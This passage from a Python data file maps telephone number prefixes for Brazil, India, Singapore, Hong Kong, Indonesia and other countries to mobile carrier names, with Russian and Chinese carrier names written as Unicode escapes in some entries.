'556798401':{'en': 'Brasil Telecom GSM'},
'557499191':{'en': 'TIM'},
'556798403':{'en': 'Brasil Telecom GSM'},
'557499193':{'en': 'TIM'},
'556798405':{'en': 'Brasil Telecom GSM'},
'557499195':{'en': 'TIM'},
'556798407':{'en': 'Brasil Telecom GSM'},
'556798158':{'en': 'TIM'},
'556798409':{'en': 'Brasil Telecom GSM'},
'556798408':{'en': 'Brasil Telecom GSM'},
'556798155':{'en': 'TIM'},
'556798154':{'en': 'TIM'},
'556798153':{'en': 'TIM'},
'556798152':{'en': 'TIM'},
'556798151':{'en': 'TIM'},
'9180090':{'en': 'Airtel'},
'557499998':{'en': 'Vivo'},
'557499999':{'en': 'Vivo'},
'558999971':{'en': 'TIM'},
'558999976':{'en': 'TIM'},
'558999974':{'en': 'TIM'},
'558999975':{'en': 'TIM'},
'557499991':{'en': 'Vivo'},
'558999978':{'en': 'TIM'},
'558999979':{'en': 'TIM'},
'557499995':{'en': 'Vivo'},
'557499996':{'en': 'Vivo'},
'9183818':{'en': 'Telewings'},
'5597988':{'en': 'Oi'},
'5597989':{'en': 'Oi'},
'555399961':{'en': 'Vivo'},
'555399966':{'en': 'Vivo'},
'555399967':{'en': 'Vivo'},
'555399964':{'en': 'Vivo'},
'555399965':{'en': 'Vivo'},
'555399968':{'en': 'Vivo'},
'555399969':{'en': 'Vivo'},
'5597985':{'en': 'Oi'},
'5597986':{'en': 'Oi'},
'5597987':{'en': 'Oi'},
'658720':{'en': 'M1'},
'68572':{'en': 'Digicel'},
'559299944':{'en': 'Oi'},
'916002':{'en': 'Reliance Jio'},
'916003':{'en': 'Reliance Jio'},
'916001':{'en': 'Reliance Jio'},
'9173220':{'en': 'Idea'},
'559599128':{'en': 'Vivo'},
'559599129':{'en': 'Vivo'},
'61499':{'en': 'Telstra'},
'61498':{'en': 'Telstra'},
'559599124':{'en': 'Vivo'},
'559599125':{'en': 'Vivo'},
'559599126':{'en': 'Vivo'},
'559599127':{'en': 'Vivo'},
'559599121':{'en': 'Vivo'},
'559599122':{'en': 'Vivo'},
'559599123':{'en': 'Vivo'},
'7764':{'en': '2Day Telecom', 'ru': '2Day Telecom'},
'7760':{'en': 'Kulan', 'ru': u('\u041a\u0443\u043b\u0430\u043d')},
'7762':{'en': 'Nursat', 'ru': u('\u041d\u0423\u0420\u0421\u0410\u0422')},
'7763':{'en': 'Arna', 'ru': u('\u0410\u0440\u043d\u0430')},
'9174239':{'en': 'Dishnet'},
'9174238':{'en': 'Dishnet'},
'9174230':{'en': 'Dishnet'},
'5594985':{'en': 'Oi'},
'658355':{'en': 'SingTel'},
'5594987':{'en': 'Oi'},
'5594986':{'en': 'Oi'},
'658354':{'en': 'SingTel'},
'5594989':{'en': 'Oi'},
'5594988':{'en': 'Oi'},
'658356':{'en': 'SingTel'},
'658351':{'en': 'SingTel'},
'658350':{'en': 'SingTel'},
'9172872':{'en': 'Airtel'},
'918195':{'en': 'Idea'},
'658353':{'en': 'SingTel'},
'556198562':{'en': 'Brasil Telecom GSM'},
'555599991':{'en': 'Vivo'},
'555599993':{'en': 'Vivo'},
'555599992':{'en': 'Vivo'},
'555599995':{'en': 'Vivo'},
'555599994':{'en': 'Vivo'},
'555599997':{'en': 'Vivo'},
'555599996':{'en': 'Vivo'},
'555599999':{'en': 'Vivo'},
'555599998':{'en': 'Vivo'},
'918198':{'en': 'Idea'},
'918199':{'en': 'Idea'},
'555499679':{'en': 'Vivo'},
'555499678':{'en': 'Vivo'},
'555499677':{'en': 'Vivo'},
'555499676':{'en': 'Vivo'},
'555499675':{'en': 'Vivo'},
'555499674':{'en': 'Vivo'},
'555499673':{'en': 'Vivo'},
'555499672':{'en': 'Vivo'},
'555499671':{'en': 'Vivo'},
'9173910':{'en': 'Vodafone'},
'9173919':{'en': 'Vodafone'},
'9173918':{'en': 'Vodafone'},
'559399117':{'en': 'Vivo'},
'559399116':{'en': 'Vivo'},
'59069078':{'en': 'SFR/Rife'},
'59069079':{'en': 'SFR/Rife'},
'559399113':{'en': 'Vivo'},
'559399112':{'en': 'Vivo'},
'559399111':{'en': 'Vivo'},
'59069077':{'en': 'Dauphin Telecom'},
'556298189':{'en': 'TIM'},
'559399118':{'en': 'Vivo'},
'557999124':{'en': 'TIM'},
'557999121':{'en': 'TIM'},
'9174918':{'en': 'Idea'},
'8536254':{'en': 'SmarTone'},
'852687':{'en': 'China Mobile', 'zh': u('\u4e2d\u56fd\u79fb\u52a8'), 'zh_Hant': u('\u4e2d\u570b\u79fb\u52d5')},
'8536256':{'en': 'SmarTone'},
'8536257':{'en': 'SmarTone'},
'8536250':{'en': 'CTM'},
'8536251':{'en': 'CTM'},
'8536252':{'en': 'CTM'},
'8536253':{'en': 'CTM'},
'8536258':{'en': 'SmarTone'},
'8536259':{'en': 'SmarTone'},
'852684':{'en': 'China Mobile', 'zh': u('\u4e2d\u56fd\u79fb\u52a8'), 'zh_Hant': u('\u4e2d\u570b\u79fb\u52d5')},
'9181550':{'en': 'Idea'},
'9181558':{'en': 'Idea'},
'9181559':{'en': 'Idea'},
'559998116':{'en': 'TIM'},
'559998117':{'en': 'TIM'},
'559998114':{'en': 'TIM'},
'559998115':{'en': 'TIM'},
'559998112':{'en': 'TIM'},
'559998113':{'en': 'TIM'},
'559998111':{'en': 'TIM'},
'852680':{'en': 'PCCW Mobile', 'zh': u('\u9999\u6e2f\u79fb\u52a8\u901a\u8baf'), 'zh_Hant': u('\u9999\u6e2f\u79fb\u52d5\u901a\u8a0a')},
'559998118':{'en': 'TIM'},
'559998119':{'en': 'TIM'},
'601150':{'en': 'Talk Focus'},
'601152':{'en': 'Altel'},
'62735985':{'en': 'Esia'},
'59775':{'en': 'Telesur'},
'59774':{'en': 'Digicel'},
'59776':{'en': 'Digicel'},
'59771':{'en': 'Digicel'},
'9178408':{'en': 'Idea'},
'59772':{'en': 'Digicel'},
'559699147':{'en': 'Vivo'},
'559699146':{'en': 'Vivo'},
'559699145':{'en': 'Vivo'},
'559699144':{'en': 'Vivo'},
'559699143':{'en': 'Vivo'},
'559699142':{'en': 'Vivo'},
'559699141':{'en': 'Vivo'},
'9174795':{'en': 'Telenor'},
'9174828':{'en': 'Airtel'},
'9174829':{'en': 'Airtel'},
'9174798':{'en': 'Telenor'},
'9174799':{'en': 'Telenor'},
'559699149':{'en': 'Vivo'},
'559699148':{'en': 'Vivo'},
'557799999':{'en': 'Vivo'},
'557799990':{'en': 'Vivo'},
'557799993':{'en': 'Vivo'},
'557799992':{'en': 'Vivo'},
'9178886':{'en': 'Reliance Jio'},
'9178887':{'en': 'Reliance Jio'},
'556298138':{'en': 'TIM'},
'62735987':{'en': 'Esia'},
'559999649':{'en': 'Oi'},
'9180170':{'en': 'Vodafone'},
'918385':{'en': 'Aircel'},
'9178885':{'en': 'Reliance Jio'},
'918382':{'en': 'Telewings'},
'918380':{'en': 'Idea'},
'559999641':{'en': 'Oi'},
'9178882':{'en': 'Idea'},
'559999643':{'en': 'Oi'},
'559999642':{'en': 'Oi'},
'559999645':{'en': 'Oi'},
'559999644':{'en': 'Oi'},
'559999647':{'en': 'Oi'},
'559999646':{'en': 'Oi'},
'918220':{'en': 'Airtel'},
'658571':{'en': 'StarHub'},
'658570':{'en': 'StarHub'},
'5582988':{'en': 'Oi'},
'5582989':{'en': 'Oi'},
'5582986':{'en': 'Oi'},
'5582987':{'en': 'Oi'},
'5582985':{'en': 'Oi'},
'918222':{'en': 'Idea'},
'62481991':{'en': 'Esia'},
'62481990':{'en': 'Esia'},
'62481993':{'en': 'Esia'},
'62481992':{'en': 'Esia'},
'62481994':{'en': 'Esia'},
'918224':{'en': 'Idea'},
'9175909':{'en': 'Idea'},
'9174792':{'en': 'Vodafone'},
'556298131':{'en': 'TIM'},
'9175505':{'en': 'Aircel'},
'9174793':{'en': 'Vodafone'},
'6223291':{'en': 'Esia'},
'918227':{'en': 'Idea'},
'9174790':{'en': 'Vodafone'},
'558599932':{'en': 'TIM'},
'558599933':{'en': 'TIM'},
'558599931':{'en': 'TIM'},
'558599936':{'en': 'TIM'},
'558599937':{'en': 'TIM'},
'558599934':{'en': 'TIM'},
'558599935':{'en': 'TIM'},
'9174796':{'en': 'Telenor'},
'558599938':{'en': 'TIM'},
'558599939':{'en': 'TIM'},
'9174797':{'en': 'Telenor'},
'9177850':{'en': 'Dishnet'},
'9174794':{'en': 'Telenor'},
'9177858':{'en': 'Dishnet'},
'9177859':{'en': 'Dishnet'},
'9176112':{'en': 'Aircel'},
'9175400':{'en': 'Airtel'},
'55549921':{'en': 'Claro BR'},
'55549920':{'en': 'Claro BR'},
'9175406':{'en': 'Dishnet'},
'852661':{'en': 'China Unicom', 'zh': u('\u4e2d\u56fd\u8054\u901a'), 'zh_Hant': u('\u4e2d\u570b\u806f\u901a')},
'852660':{'en': 'PCCW Mobile', 'zh': u('\u9999\u6e2f\u79fb\u52a8\u901a\u8baf'), 'zh_Hant': u('\u9999\u6e2f\u79fb\u52d5\u901a\u8a0a')},
'852663':{'en': 'China Unicom', 'zh': u('\u4e2d\u56fd\u8054\u901a'), 'zh_Hant': u('\u4e2d\u570b\u806f\u901a')},
'852662':{'en': 'PCCW Mobile', 'zh': u('\u9999\u6e2f\u79fb\u52a8\u901a\u8baf'), 'zh_Hant': u('\u9999\u6e2f\u79fb\u52d5\u901a\u8a0a')},
'852665':{'en': '1O1O / One2Free', 'zh': '1O1O / One2Free', 'zh_Hant': '1O1O / One2Free'},
'852664':{'en': 'China Mobile', 'zh': u('\u4e2d\u56fd\u79fb\u52a8'), 'zh_Hant': u('\u4e2d\u570b\u79fb\u52d5')},
'852667':{'en': 'China Mobile', 'zh': u('\u4e2d\u56fd\u79fb\u52a8'), 'zh_Hant': u('\u4e2d\u570b\u79fb\u52d5')},
'852669':{'en': 'PCCW Mobile', 'zh': u('\u9999\u6e2f\u79fb\u52a8\u901a\u8baf'), 'zh_Hant': u('\u9999\u6e2f\u79fb\u52d5\u901a\u8a0a')},
'852668':{'en': '3', 'zh': '3', 'zh_Hant': '3'},
'9183674':{'en': 'Idea'},
'65963':{'en': 'SingTel'},
'65961':{'en': 'SingTel'},
'65967':{'en': 'SingTel'},
'65966':{'en': 'SingTel'},
'65965':{'en': 'SingTel'},
'65964':{'en': 'SingTel'},
'65969':{'en': 'M1'},
'65968':{'en': 'M1'},
'559599933':{'en': 'Oi'},
'559398115':{'en': 'TIM'},
'9177668':{'en': 'Airtel'},
'9174002':{'en': 'Airtel'},
'9174003':{'en': 'Airtel'},
'9174000':{'en': 'Airtel'},
'9174001':{'en': 'Airtel'},
'9174006':{'en': 'Tata Docomo'},
'9174007':{'en': 'Tata Docomo'},
'9174004':{'en': 'Airtel'},
'9174005':{'en': 'Tata Docomo'},
'9174008':{'en': 'Tata Docomo'},
'9174009':{'en': 'Tata Docomo'},
'559398111':{'en': 'TIM'},
'918387':{'en': 'Aircel'},
'556998438':{'en': 'Brasil Telecom GSM'},
'556998439':{'en': 'Brasil Telecom GSM'},
'5585987':{'en': 'Oi'},
'5585986':{'en': 'Oi'},
'5585985':{'en': 'Oi'},
'556798141':{'en': 'TIM'},
'556998432':{'en': 'Brasil Telecom GSM'},
'556998433':{'en': 'Brasil Telecom GSM'},
'5585989':{'en': 'Oi'},
'556998431':{'en': 'Brasil Telecom GSM'},
'556998436':{'en': 'Brasil Telecom GSM'},
'556998437':{'en': 'Brasil Telecom GSM'},
'556998434':{'en': 'Brasil Telecom GSM'},
'556998435':{'en': 'Brasil Telecom GSM'},
'556798411':{'en': 'Brasil Telecom GSM'},
'556798416':{'en': 'Brasil Telecom GSM'},
'556798417':{'en': 'Brasil Telecom GSM'},
'556798414':{'en': 'Brasil Telecom GSM'},
'559398118':{'en': 'TIM'},
'556798415':{'en': 'Brasil Telecom GSM'},
'559398119':{'en': 'TIM'},
'62736996':{'en': 'Esia'},
'9181708':{'en': 'Airtel'},
'918389':{'en': 'Reliance'},
'84169':{'en': 'Viettel Mobile'},
'9181700':{'en': 'Airtel'},
'918388':{'en': 'Reliance'},
'62736997':{'en': 'Esia'},
'658368':{'en': 'M1'},
'658369':{'en': 'StarHub'},
'658360':{'en': 'SingTel'},
'658361':{'en': 'StarHub'},
'658362':{'en': 'StarHub'},
'658363':{'en': 'StarHub'},
'658364':{'en': 'StarHub'},
'658366':{'en': 'M1'},
'658367':{'en': 'StarHub'},
'558199374':{'en': 'Claro BR'},
'559199944':{'en': 'Oi'},
'559199942':{'en': 'Oi'},
'5586987':{'en': 'Oi'},
'559199940':{'en': 'Oi'},
'5586985':{'en': 'Oi'},
'5586988':{'en': 'Oi'},
'5586989':{'en': 'Oi'},
'559199949':{'en': 'Oi'},
'558199370':{'en': 'Claro BR'},
'62294911':{'en': 'Esia'},
'62294910':{'en': 'Esia'},
'62294913':{'en': 'Esia'},
'558199371':{'en': 'Claro BR'},
'558199372':{'en': 'Claro BR'},
'9180795':{'en': 'Idea'},
'6226692':{'en': 'Esia'},
'6226693':{'en': 'Esia'},
'6226690':{'en': 'Esia'},
'6226691':{'en': 'Esia'},
'9174909':{'en': 'Airtel'},
'677792':{'en': 'Solomon Telekom'},
'677793':{'en': 'Solomon Telekom'},
'677790':{'en': 'Solomon Telekom'},
'677791':{'en': 'Solomon Telekom'},
'677794':{'en': 'Solomon Telekom'},
'917379':{'en': 'Vodafone'},
'917373':{'en': 'Aircel'},
'917377':{'en': 'Idea'},
'917376':{'en': 'Cellone'},
'556798135':{'en': 'TIM'},
'556798426':{'en': 'Brasil Telecom GSM'},
'556798425':{'en': 'Brasil Telecom GSM'},
'556798136':{'en': 'TIM'},
'556798131':{'en': 'TIM'},
'556798422':{'en': 'Brasil Telecom GSM'},
'556798133':{'en': 'TIM'},
'556798132':{'en': 'TIM'},
'9175368':{'en': 'Idea'},
'9175369':{'en': 'Dishnet'},
'556798139':{'en': 'TIM'},
'556798138':{'en': 'TIM'},
'556798429':{'en': 'Brasil Telecom GSM'},
'556798428':{'en': 'Brasil Telecom GSM'},
'55879811':{'en': 'Vivo'},
'55879810':{'en': 'Vivo'},
'64204':{'en': 'Skinny'},
'555399948':{'en': 'Vivo'},
'555399949':{'en': 'Vivo'},
'9183839':{'en': 'Reliance Jio'},
'555399941':{'en': 'Vivo'},
'555399942':{'en': 'Vivo'},
'555399943':{'en': 'Vivo'},
'555399944':{'en': 'Vivo'},
'555399945':{'en': 'Vivo'},
'555399946':{'en': 'Vivo'},
'555399947':{'en': 'Vivo'},
'659235':{'en': 'SingTel'},
'659234':{'en': 'SingTel'},
'659237':{'en': 'StarHub'},
'659236':{'en': 'SingTel'},
'659231':{'en': 'SingTel'},
'659230':{'en': 'SingTel'},
'659233':{'en': 'SingTel'},
'659232':{'en': 'SingTel'},
'659239':{'en': 'StarHub'},
'659238':{'en': 'StarHub'},
'9174580':{'en': 'Airtel'},
'9174589':{'en': 'Airtel'},
'9174588':{'en': 'Airtel'},
'559898159':{'en': 'TIM'},
'559898158':{'en': 'TIM'},
'559898151':{'en': 'TIM'},
'559898153':{'en': 'TIM'},
'559898152':{'en': 'TIM'},
'559898155':{'en': 'TIM'},
'559898154':{'en': 'TIM'},
'559898157':{'en': 'TIM'},
'559898156':{'en': 'TIM'},
'9173209':{'en': 'Airtel'},
'9173208':{'en': 'Airtel'},
'556898121':{'en': 'TIM'},
'9173758':{'en': 'Idea'},
'9173200':{'en': 'Airtel'},
'9173750':{'en': 'Idea'},
'7747':{'en': 'Tele2', 'ru': 'Tele2'},
'556599992':{'en': 'Vivo'},
'556599993':{'en': 'Vivo'},
'556599991':{'en': 'Vivo'},
'556599996':{'en': 'Vivo'},
'556599997':{'en': 'Vivo'},
'556599994':{'en': 'Vivo'},
'556599995':{'en': 'Vivo'},
'556599998':{'en': 'Vivo'},
'556599999':{'en': 'Vivo'},
'9176189':{'en': 'Idea'},
'9176188':{'en': 'Idea'},
'9176181':{'en': 'Vodafone'},
'9176180':{'en': 'Idea'},
'9176183':{'en': 'Vodafone'},
'9176182':{'en': 'Vodafone'},
'9176185':{'en': 'Vodafone'},
'9176184':{'en': 'Vodafone'},
'9176187':{'en': 'Airtel'},
'9176186':{'en': 'Vodafone'},
'59469418':{'en': 'SFR'},
'59469419':{'en': 'SFR'},
'59469412':{'en': 'Digicel'},
'59469413':{'en': 'Digicel'},
'59469414':{'en': 'Digicel'},
'59469415':{'en': 'Digicel'},
'59469416':{'en': 'Digicel'},
'59469417':{'en': 'SFR'},
'9177058':{'en': 'Vodafone'},
'9177059':{'en': 'Vodafone'},
'9177050':{'en': 'Vodafone'},
'555499615':{'en': 'Vivo'},
'555499614':{'en': 'Vivo'},
'555499617':{'en': 'Vivo'},
'555499616':{'en': 'Vivo'},
'555499611':{'en': 'Vivo'},
'555499613':{'en': 'Vivo'},
'555499612':{'en': 'Vivo'},
'55859820':{'en': 'Vivo'},
'555499619':{'en': 'Vivo'},
'555499618':{'en': 'Vivo'},
'6235199':{'en': 'Esia'},
'6235198':{'en': 'Esia'},
'62548994':{'en': 'Esia'},
'559399179':{'en': 'Vivo'},
'559399178':{'en': 'Vivo'},
'62548993':{'en': 'Esia'},
'62548992':{'en': 'Esia'},
'559399175':{'en': 'Vivo'},
'559399174':{'en': 'Vivo'},
'559399177':{'en': 'Vivo'},
'559399176':{'en': 'Vivo'},
'559399171':{'en': 'Vivo'},
'559399173':{'en': 'Vivo'},
'559399172':{'en': 'Vivo'},
'62518990':{'en': 'Esia'},
'62518991':{'en': 'Esia'},
'62518992':{'en': 'Esia'},
'62518993':{'en': 'Esia'},
'9181398':{'en': 'Airtel'},
'9181399':{'en': 'Idea'},
'557199984':{'en': 'Vivo'},
'557199985':{'en': 'Vivo'},
'557199986':{'en': 'Vivo'},
'557199987':{'en': 'Vivo'},
'557199981':{'en': 'Vivo'},
'557199982':{'en': 'Vivo'},
'557199983':{'en': 'Vivo'},
'557199988':{'en': 'Vivo'},
'557199989':{'en': 'Vivo'},
'62284994':{'en': 'Esia'},
'62284995':{'en': 'Esia'},
'8536278':{'en': '3'},
'8536279':{'en': '3'},
'8536276':{'en': '3'},
'8536277':{'en': '3'},
'8536274':{'en': 'CTM'},
'8536275':{'en': 'CTM'},
'8536272':{'en': 'CTM'},
'8536273':{'en': 'CTM'},
'8536270':{'en': 'SmarTone'},
'8536271':{'en': 'SmarTone'},
'557199188':{'en': 'TIM'},
'559998139':{'en': 'TIM'},
'9181578':{'en': 'Idea'},
'9181579':{'en': 'Idea'},
'559998134':{'en': 'TIM'},
'557199185':{'en': 'TIM'},
'559998136':{'en': 'TIM'},
'557199187':{'en': 'TIM'},
'559998131':{'en': 'TIM'},
'559998132':{'en': 'TIM'},
'557199183':{'en': 'TIM'},
'9174610':{'en': 'Airtel'},
'9174619':{'en': 'Airtel'},
'9174618':{'en': 'Airtel'},
'556198551':{'en': 'Brasil Telecom GSM'},
'556198553':{'en': 'Brasil Telecom GSM'},
'556198552':{'en': 'Brasil Telecom GSM'},
'556198555':{'en': 'Brasil Telecom GSM'},
'556198554':{'en': 'Brasil Telecom GSM'},
'556198557':{'en': 'Brasil Telecom GSM'},
'556198556':{'en': 'Brasil Telecom GSM'},
'556198559':{'en': 'Brasil Telecom GSM'},
'556198558':{'en': 'Brasil Telecom GSM'},
'6228192':{'en': 'Esia'},
'6228191':{'en': 'Esia'},
'558299351':{'en': 'Claro BR'},
'559699129':{'en': 'Vivo'},
'559699128':{'en': 'Vivo'},
'559699125':{'en': 'Vivo'},
'559699124':{'en': 'Vivo'},
'559699127':{'en': 'Vivo'},
'559699126':{'en': 'Vivo'},
'559699121':{'en': 'Vivo'},
'559699123':{'en': 'Vivo'},
'559699122':{'en': 'Vivo'},
'55799812':{'en': 'Claro BR'},
'55799813':{'en': 'Claro BR'},
'55799810':{'en': 'Claro BR'},
'55799811':{'en': 'Claro BR'},
'55799816':{'en': 'Claro BR'},
'55799814':{'en': 'Claro BR'},
'55799815':{'en': 'Claro BR'},
'9174774':{'en': 'Airtel'},
'9174775':{'en': 'Airtel'},
'9174776':{'en': 'Airtel'},
'9174777':{'en': 'Airtel'},
'9174770':{'en': 'Airtel'},
'9174772':{'en': 'Airtel'},
'9174773':{'en': 'Airtel'},
'6226591':{'en': 'Esia'},
'6226590':{'en': 'Esia'},
'6226593':{'en': 'Esia'},
'6226592':{'en': 'Esia'},
'6226599':{'en': 'Esia'},
'917998':{'en': 'Dishnet'},
'9177880':{'en': 'Idea'},
'9180110':{'en': 'Airtel'},
'658559':{'en': 'StarHub'},
'558299371':{'en': 'Claro BR'},
'9181539':{'en': 'Idea'},
'558599918':{'en': 'TIM'},
'558599919':{'en': 'TIM'},
'558599911':{'en': 'TIM'},
'558599912':{'en': 'TIM'},
'558599913':{'en': 'TIM'},
'558599914':{'en': 'TIM'},
'558599915':{'en': 'TIM'},
'558599916':{'en': 'TIM'},
'558599917':{'en': 'TIM'},
'9177878':{'en': 'Idea'},
'9177879':{'en': 'Idea'},
'9177870':{'en': 'Idea'},
'623994':{'en': 'Esia'},
'557499194':{'en': 'TIM'},
'9174680':{'en': 'Dishnet'},
'622990':{'en': 'Esia'},
'84999':{'en': 'Indochina Telecom'},
'84998':{'en': 'Indochina Telecom'},
'84997':{'en': 'G-Mobile'},
'84996':{'en': 'G-Mobile'},
'84995':{'en': 'G-Mobile'},
'84994':{'en': 'G-Mobile'},
'84993':{'en': 'G-Mobile'},
'84992':{'en': 'VSAT'},
'55779980':{'en': 'Vivo'},
'917030':{'en': 'Vodafone'},
'559899944':{'en': 'Oi'},
'917032':{'en': 'Airtel'},
'917033':{'en': 'Airtel'},
'917034':{'en': 'Vodafone'},
'917035':{'en': 'Dishnet'},
'917036':{'en': 'Idea'},
'917037':{'en': 'Telewings'},
'917038':{'en': 'Idea'},
'917039':{'en': 'Idea'},
'9172610':{'en': 'Airtel'},
'9172619':{'en': 'Vodafone'},
'9172618':{'en': 'Airtel'},
'852649':{'en': 'PCCW Mobile', 'zh': u('\u9999\u6e2f\u79fb\u52a8\u901a\u8baf'), 'zh_Hant': u('\u9999\u6e2f\u79fb\u52d5\u901a\u8a0a')},
'852648':{'en': 'China Mobile', 'zh': u('\u4e2d\u56fd\u79fb\u52a8'), 'zh_Hant': u('\u4e2d\u570b\u79fb\u52d5')},
'852643':{'en': 'China Mobile', 'zh': u('\u4e2d\u56fd\u79fb\u52a8'), 'zh_Hant': u('\u4e2d\u570b\u79fb\u52d5')},
'852642':{'en': '1O1O / One2Free', 'zh': '1O1O / One2Free', 'zh_Hant': '1O1O / One2Free'},
'852641':{'en': '1O1O / One2Free', 'zh': '1O1O / One2Free', 'zh_Hant': '1O1O / One2Free'},
'852640':{'en': '3', 'zh': '3', 'zh_Hant': '3'},
'852647':{'en': '3', 'zh': '3', 'zh_Hant': '3'},
'852646':{'en': 'SmarTone', 'zh': u('\u6570\u7801\u901a'), 'zh_Hant': u('\u6578\u78bc\u901a')},
'852644':{'en': 'PCCW Mobile', 'zh': u('\u9999\u6e2f\u79fb\u52a8\u901a\u8baf'), 'zh_Hant': u('\u9999\u6e2f\u79fb\u52d5\u901a\u8a0a')},
'9177889':{'en': 'Idea'},
'918130':{'en': 'Airtel'},
'9177888':{'en': 'Idea'},
'9176538':{'en': 'CellOne'},
'9176539':{'en': 'CellOne'},
'557599841':{'en': 'Vivo'},
'557599840':{'en': 'Vivo'},
'557599843':{'en': 'Vivo'},
'557599842':{'en': 'Vivo'},
'622995':{'en': 'Esia'},
'9172960':{'en': 'Hexacom'},
'9172969':{'en': 'Airtel'},
'9172968':{'en': 'Airtel'},
'65909':{'en': 'M1'},
'65908':{'en': 'SingTel'},
'61459':{'en': 'Telstra'},
'9176047':{'en': 'Reliance'},
'556598128':{'en': 'TIM'},
'556598129':{'en': 'TIM'},
'9176042':{'en': 'Reliance'},
'9176043':{'en': 'Reliance'},
'556598124':{'en': 'TIM'},
'556598125':{'en': 'TIM'},
'556598126':{'en': 'TIM'},
'556598127':{'en': 'TIM'},
'65905':{'en': 'SingTel'},
'556598121':{'en': 'TIM'},
'556598122':{'en': 'TIM'},
'556598123':{'en': 'TIM'},
'9176450':{'en': 'Telenor'},
'57303':{'en': 'Uff!'},
'9177648':{'en': 'Airtel'},
'558799606':{'en': 'TIM'},
'558799607':{'en': 'TIM'},
'558799604':{'en': 'TIM'},
'558799605':{'en': 'TIM'},
'558799602':{'en': 'TIM'},
'558799603':{'en': 'TIM'},
'558799601':{'en': 'TIM'},
'558799608':{'en': 'TIM'},
'558799609':{'en': 'TIM'},
'556998411':{'en': 'Brasil Telecom GSM'},
'556998412':{'en': 'Brasil Telecom GSM'},
'556998413':{'en': 'Brasil Telecom GSM'},
'556998414':{'en': 'Brasil Telecom GSM'},
'556998415':{'en': 'Brasil Telecom GSM'},
'556998416':{'en': 'Brasil Telecom GSM'},
'556998417':{'en': 'Brasil Telecom GSM'},
'556998418':{'en': 'Brasil Telecom GSM'},
'556998419':{'en': 'Brasil Telecom GSM'},
'569743':{'en': 'Movistar'},
'918092':{'en': 'Tata Docomo'},
'9181760':{'en': 'Tata Docomo'},
'9181769':{'en': 'Tata Docomo'},
'6011105':{'en': 'REDtone'},
'85567':{'en': 'Beeline'},
'85566':{'en': 'Beeline'},
'85560':{'en': 'Beeline'},
'85569':{'en': 'Smart'},
'85568':{'en': 'Beeline'},
'56966':{'en': 'Entel'},
'56961':{'en': 'Movistar'},
'559499972':{'en': 'Oi'},
'559999109':{'en': 'Vivo'},
'556398423':{'en': 'Brasil Telecom GSM'},
'556398422':{'en': 'Brasil Telecom GSM'},
'556398421':{'en': 'Brasil Telecom GSM'},
'658264':{'en': 'SingTel'},
'57316':{'en': 'Movistar'},
'559999103':{'en': 'Vivo'},
'57311':{'en': 'Claro'},
'9181189':{'en': 'Hexacom'},
'556199643':{'en': 'Vivo'},
'57313':{'en': 'Claro'},
'556398424':{'en': 'Brasil Telecom GSM'},
'9176458':{'en': 'Telenor'},
'556798119':{'en': 'TIM'},
'556798118':{'en': 'TIM'},
'556798449':{'en': 'Brasil Telecom GSM'},
'556798448':{'en': 'Brasil Telecom GSM'},
'556798113':{'en': 'TIM'},
'556798112':{'en': 'TIM'},
'556798111':{'en': 'TIM'},
'556798446':{'en': 'Brasil Telecom GSM'},
'556798117':{'en': 'TIM'},
'556798116':{'en': 'TIM'},
'556798115':{'en': 'TIM'},
'556798114':{'en': 'TIM'},
'59669689':{'en': 'SFR/Rife'},
'59669688':{'en': 'SFR/Rife'},
'59669683':{'en': 'Orange'},
'59669682':{'en': 'Orange'},
'59669681':{'en': 'Orange'},
'59669680':{'en': 'Orange'},
'59669687':{'en': 'SFR/Rife'},
'59669686':{'en': 'Orange'},
'59669685':{'en': 'Orange'},
'59669684':{'en': 'Orange'},
'658261':{'en': 'SingTel'},
'66909':{'en': 'True Move'},
'555399928':{'en': 'Vivo'},
'555399929':{'en': 'Vivo'},
'555399927':{'en': 'Vivo'},
'6225299':{'en': 'Esia'},
'6225298':{'en': 'Esia'},
'658267':{'en': 'SingTel'},
'658266':{'en': 'SingTel'},
'9180580':{'en': 'Idea'},
'6236196':{'en': 'Esia'},
'559198480':{'en': 'Claro BR'},
'559198481':{'en': 'Claro BR'},
'559198482':{'en': 'Claro BR'},
'559198483':{'en': 'Claro BR'},
'559198484':{'en': 'Claro BR'},
'559198485':{'en': 'Claro BR'},
'559198486':{'en': 'Claro BR'},
'658260':{'en': 'SingTel'},
'658263':{'en': 'SingTel'},
'658262':{'en': 'SingTel'},
'558299631':{'en': 'TIM'},
'559898179':{'en': 'TIM'},
'559898178':{'en': 'TIM'},
'559898177':{'en': 'TIM'},
'559898176':{'en': 'TIM'},
'559898175':{'en': 'TIM'},
'559898174':{'en': 'TIM'},
'559898173':{'en': 'TIM'},
'559898172':{'en': 'TIM'},
'559898171':{'en': 'TIM'},
'557499198':{'en': 'TIM'},
'56992885':{'en': 'Bermann'},
'56992884':{'en': 'Arch Comunicaciones'},
'56992886':{'en': 'Bermann'},
'56992881':{'en': 'Arch Comunicaciones'},
'56992880':{'en': 'Arch Comunicaciones'},
'56992883':{'en': 'Arch Comunicaciones'},
'56992882':{'en': 'Arch Comunicaciones'},
'556398412':{'en': 'Brasil Telecom GSM'},
'9173483':{'en': 'Idea'},
'9173482':{'en': 'Idea'},
'9173481':{'en': 'Idea'},
'9173480':{'en': 'Idea'},
'556398413':{'en': 'Brasil Telecom GSM'},
'9173486':{'en': 'Idea'},
'9173485':{'en': 'Idea'},
'9173484':{'en': 'Idea'},
'9173489':{'en': 'Airtel'},
'9173488':{'en': 'Airtel'},
'62878':{'en': 'XL'},
'62879':{'en': 'XL'},
'62717999':{'en': 'Esia'},
'62717998':{'en': 'Esia'},
'62717997':{'en': 'Esia'},
'62717996':{'en': 'Esia'},
'62717995':{'en': 'Esia'},
'9176049':{'en': 'Reliance'},
'59469438':{'en': 'Orange'},
'59469434':{'en': 'Orange'},
'85517':{'en': 'Cellcard'},
'59469432':{'en': 'Orange'},
'59469433':{'en': 'Orange'},
'59469430':{'en': 'Orange'},
'59469431':{'en': 'Orange'},
'85518':{'en': 'Seatel'},
'557499199':{'en': 'TIM'},
'9177078':{'en': 'Idea'},
'9177079':{'en': 'Idea'},
'559499665':{'en': 'Oi'},
'9175500':{'en': 'Airtel'},
'9175501':{'en': 'Airtel'},
'9175502':{'en': 'Airtel'},
'9175503':{'en': 'Airtel'},
'9175504':{'en': 'Aircel'},
'9173950':{'en': 'Telenor'},
'9175506':{'en': 'Aircel'},
'9175507':{'en': 'Aircel'},
'9175508':{'en': 'Vodafone'},
'9175509':{'en': 'Vodafone'},
'5699489':{'en': 'Entel'},
'9173959':{'en': 'Airtel'},
'9173958':{'en': 'Airtel'},
'9176708':{'en': 'Reliance'},
